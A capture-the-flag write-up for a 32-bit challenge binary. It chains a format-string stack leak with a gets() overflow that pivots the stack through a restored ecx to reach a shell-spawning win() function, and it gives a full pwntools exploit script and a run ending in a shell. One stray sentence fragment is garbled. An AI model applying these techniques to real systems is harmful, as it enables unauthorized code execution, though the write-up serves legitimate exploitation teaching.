oldschool
No canary, no PIE, and a format string leak. The interesting part is not the overflow, it is the epilogue that restores esp from ecx.
A 32-bit binary with two gets calls and two printf(input) calls. The obvious
paths are a plain ret2win and a format string write, but the ret2win does not work
as-is: there is a stack realignment in the epilogue that you have to cooperate with.
Once you see it, the whole challenge is six lines.
| property | value |
|---|---|
| arch | i386-32-little |
| RELRO | Partial |
| canary | none |
| NX | enabled |
| PIE | no (base 0x8048000) |
| stripped | no |
NX rules out shellcode on the stack. No PIE means win is a fixed address, and no
canary means the return path is reachable from a buffer overflow. So the target is
win and the only question is how to get there.
The target
win spawns a shell if its argument matches a hardcoded string:
void win(char *password)
{
if (strcmp(password, "hwhwhwhwhwhw") == 0)
{
system("/bin/sh");
}
}
Nothing clever there. The string lives in .rodata, and since the binary is not
PIE, its address is fixed too — grab it once with next(elf.search(b'hwhwhwhwhwhw'))
and hardcode the result.
The two bugs
char input[15];
char password[15];
printf("simple pwn... no trickery needed...\n");
gets(input); // overflow
printf(input); // format string
printf("\nsay yer magic words: ");
gets(password); // overflow
printf(password); // format string
if ((strcmp(input, "hehehehehehehe") == 0) && ...)
Four bugs, two of each kind. gets gives the overflow, printf(input) gives the
read. The strcmp gate at the end is irrelevant: we never intend to reach it.
The epilogue that changes the plan
The natural payload is padding + &win + ret + &"hwhwhwhwhwhw". That does not work
here, and the reason is visible in the disassembly:
8049312: lea esp, [ebp-0x8]
8049315: pop ecx
8049316: pop ebx
8049317: pop ebp
8049318: lea esp, [ecx-0x4] // esp comes from ecx, not ebp
804931b: ret
esp is rebuilt from ecx — the classic gcc 32-bit realignment dance. The saved
ecx sits at [ebp-8], which is inside the overflowable frame, so we control it.
That turns a normal overflow into a controlled stack pivot: whatever we put at
[ebp-8] decides where esp points when ret runs.
Leaking a stack address
The pivot needs an absolute stack address, so we need a leak. The first
printf(input) is a format string bug; walk the varargs with %N$p until something
looks like a stack pointer:
from pwn import *
elf = context.binary = ELF('./main', checksec=False)
for i in range(20):
try:
io = process(level='error')
io.sendlineafter(b'needed...\n', f'%{i}$p'.encode())
result = io.recvline().decode()
if result:
print(f"{i}: {result.strip()}")
except EOFError:
pass
Index 12 lands on the stack:
...
10: 0xf7fc1400
11: (nil)
12: 0xffffd3a0 <-- stack
13: 0xf7faae34
...
%12$p is stable across runs. The distance from that leak to the slot we want in
ecx was measured in gdb: 48 bytes below the leak. That constant is the only
magic number in the challenge. Measured layout:
P(ebp-0x26) = 0xffffd9a2 // buffer start
ebp-0x8 = 0xffffd9c0 // = buffer+30, the ecx slot
leak = 0xffffd9e0
leak - 48 = 0xffffd9b0 // = buffer+14, i.e. 4 past &win
So stack is not the buffer start — it is the address of &win plus four. The
epilogue’s lea esp, [ecx-4] is what turns it back into the address of &win.
Building the payload
The payload goes into gets(password), whose buffer starts at [ebp-0x26]. The
three saved registers we care about sit at [ebp-0x8], [ebp-0x4], [ebp] — so
the first 10 bytes of padding, then &win, then the argument, then the tail that
overwrites ecx/ebx/ebp:
| offset | bytes | value |
|---|---|---|
| +0 | 10 | A × 10 — fill up to &win |
| +10 | 4 | &win — the pivoted EIP |
| +14 | 4 | 0 — win's return address |
| +18 | 4 | &"hwhwhwhwhwhw" — win's argument |
| +22 | 4 | padding |
| +26 | 4 | padding |
| +30 | 4 | stack — becomes ecx |
ecx gets set to buffer+14 — four bytes past &win — and the epilogue does
lea esp, [ecx-0x4], which lands esp exactly on &win. Then ret pops it, win
runs, and its argument is read from [esp+8], which is the .rodata pointer we put
at +18. Offset +22 is filler: gets only needs to reach ebp-8, not ebp+4.
strcmp instead of getting a
shell.
Exploit
The full script, same as exploit.py, including the start() helper so it runs
locally, under gdb, or against the remote with REMOTE=1:
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
b *0x0804925d
b *0x080492b1
b *0x080492cc
continue
'''.format(**locals())
exe = './main'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)
def loglibc(): log.success('libc addr = %#x' % libc.address)
def logbase(): log.success('pie addr = %#x' % elf.address)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
io = start()
win = elf.sym["win"]
str = next(elf.search(b'hwhwhwhwhwhw'))
sla(b'...\n',b'%12$p')
leak = int(io.recvline().strip(),16)
stack = leak - 48
logleak('stack leak',leak)
logleak('payload address',stack)
logleak('win',win)
payload = flat([
b'A'*10,
p32(win),
p32(0),
p32(str),
p32(stack)*3,
])
sl(payload)
io.interactive()
The three breakpoints in gdbscript are the three gets/printf calls in main.
With GDB=1 the script drops you at the first one with the context already loaded;
with REMOTE=1 ./exploit.py <host> <port> it goes straight to the service.
Running it against the local binary:
* stack leak = 0xff841250
* payload address = 0xff841220
* win = 0x80491b6
AAAAAAAAAA...expected tbh...
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
The shell arrives before the expected tbh... line prints, which is a nice tell
that the pivot happened: main never reached its own strcmp gate.